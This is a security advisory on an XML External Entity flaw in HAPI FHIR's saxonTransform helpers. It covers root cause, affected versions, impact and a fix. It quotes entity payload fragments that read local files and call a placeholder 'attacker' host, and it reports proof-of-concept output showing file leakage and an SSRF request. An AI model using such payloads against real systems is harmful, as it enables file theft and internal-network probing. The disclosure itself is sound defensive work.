GHSA-2f55-g35j-5jmf HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory
Summary`org.hl7.fhir.utilities.XsltUtilities` exposes two parallel families of XSLT
transform helpers. The `transform(...)` overloads obtain their
`TransformerFactory` from the project's hardened helper
`XMLUtil.newXXEProtectedTransformerFactory()` (which sets
`ACCESS_EXTERNAL_DTD=""` and `ACCESS_EXTERNAL_STYLESHEET=""`). The sibling
`saxonTransform(...)` overloads instead instantiate a **bare**
`new net.sf.saxon.TransformerFactoryImpl()` with no external-access
restriction. A document transformed through any `saxonTransform(...)` overload
is parsed with external general entities and external DTD/parameter entities
enabled, so an attacker who controls (or can MITM) the transformed XML obtains
XML External Entity injection: local file disclosure and blind XXE / SSRF to
arbitrary URLs reachable from the host.`XMLUtil` documents that its protected factory "should be the only place where
TransformerFactory is instantiated in this project". The `saxonTransform`
overloads violate that contract while their same-file `transform` siblings
honour it.Affected versions`org.hl7.fhir.utilities` (Maven `ca.uhn.hapi.fhir:org.hl7.fhir.utilities`)
`<= 6.9.8` (latest release at time of report; verified live on `6.9.8`).
The bare `net.sf.saxon.TransformerFactoryImpl()` instantiation is present at
`XsltUtilities.java:61`, `:91`, and `:106`.Privilege requiredNone at the library boundary. The exposure depends on the calling tool: any
FHIR component that runs `XsltUtilities.saxonTransform(...)` over XML whose
source document, embedded DTD, or referenced stylesheet is attacker-influenced
(an IG package, a fetched/uploaded resource, a downloaded stylesheet, or a
MITM'd HTTP fetch) triggers the XXE. No DOCTYPE/entity stripping occurs before
the Saxon parser sees the bytes.Root cause`org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/XsltUtilities.java`:The hardened helper (`XMLUtil.newXXEProtectedTransformerFactory()`) is:The `saxonTransform` overloads never call this helper and never set the two
`ACCESS_EXTERNAL_*` attributes, so the underlying parser resolves external
general entities (`<!ENTITY x SYSTEM "file:///...">`) and external
DTD/parameter entities (`<!ENTITY % p SYSTEM "http://attacker/">`). This is a
classic CWE-611. The asymmetry — one family hardened, the co-located sibling
family bare — is the bug: the protection that already exists in the same class
was not extended to the `saxonTransform` variants.Reproduction (E2E against published Maven Central `org.hl7.fhir.utilities:6.9.8`)A self-contained Maven project. `pom.xml` pulls the latest released artifact,
which transitively brings `net.sf.saxon:Saxon-HE:11.6`.`pom.xml`:`src/main/java/Poc.java`:Run + **verbatim captured output** (JDK 17.0.18, Saxon-HE 11.6; CJK in the
hardened-path SAXParseException replaced with `?` by the harness for ASCII
display, the message text is `accessExternalDTD ... restriction ... 'http'
access not allowed`):Interpretation of the verbatim output:**Bare path** (`saxonTransform` and bare `TransformerFactoryImpl`): the local
secret file content (`TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: ...`) is leaked
into the transform output (file disclosure), and the OOB sentinel receives
`GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1` (blind XXE / SSRF). `canary leaked: true`,
OOB hits = 1.**Hardened path** (`XMLUtil.newXXEProtectedTransformerFactory()`): parsing the
same malicious source throws an `accessExternalDTD ... 'http' access not
allowed` SAXParseException and the OOB sentinel receives 0 hits. The only
difference between the two runs is the factory: the existing project helper
blocks the attack, the bare sibling does not.Impact**Local file disclosure**: any file readable by the JVM process is exfiltrated
into the transform output (demonstrated above with a canary secret file).**Blind XXE / SSRF**: external parameter/DTD entities cause the host to issue
attacker-directed HTTP(S) requests (demonstrated by the sentinel hit),
enabling internal-network probing and cloud metadata access from the host's
network position.The `saxonTransform` overloads are part of the public
`org.hl7.fhir.utilities` API consumed across the FHIR Java tooling
(IG-publisher / validation / conversion utilities); any consumer that routes
attacker-influenced or MITM-able XML through them inherits the XXE.Suggested fixRoute the `saxonTransform` overloads through the same protection the
`transform` siblings already use. Because these overloads specifically need the
Saxon implementation, obtain a Saxon factory and apply the two `ACCESS_EXTERNAL_*`
restrictions (mirroring `XMLUtil.newXXEProtectedTransformerFactory()`), e.g. a
small helper in `XMLUtil`:and replace each `new net.sf.saxon.TransformerFactoryImpl()` in
`XsltUtilities.saxonTransform(...)` (lines 61, 91, 106) with a call to it. This
mirrors the existing `newXXEProtected*` convention and the class-level mandate
that the protected factory "should be the only place where TransformerFactory
is instantiated in this project". A regression test that runs a DOCTYPE-bearing
source through `saxonTransform` and asserts the external entity is NOT resolved
should accompany the change.CreditReported by tonghuaroot.
CVSS v4.0 score: 9.2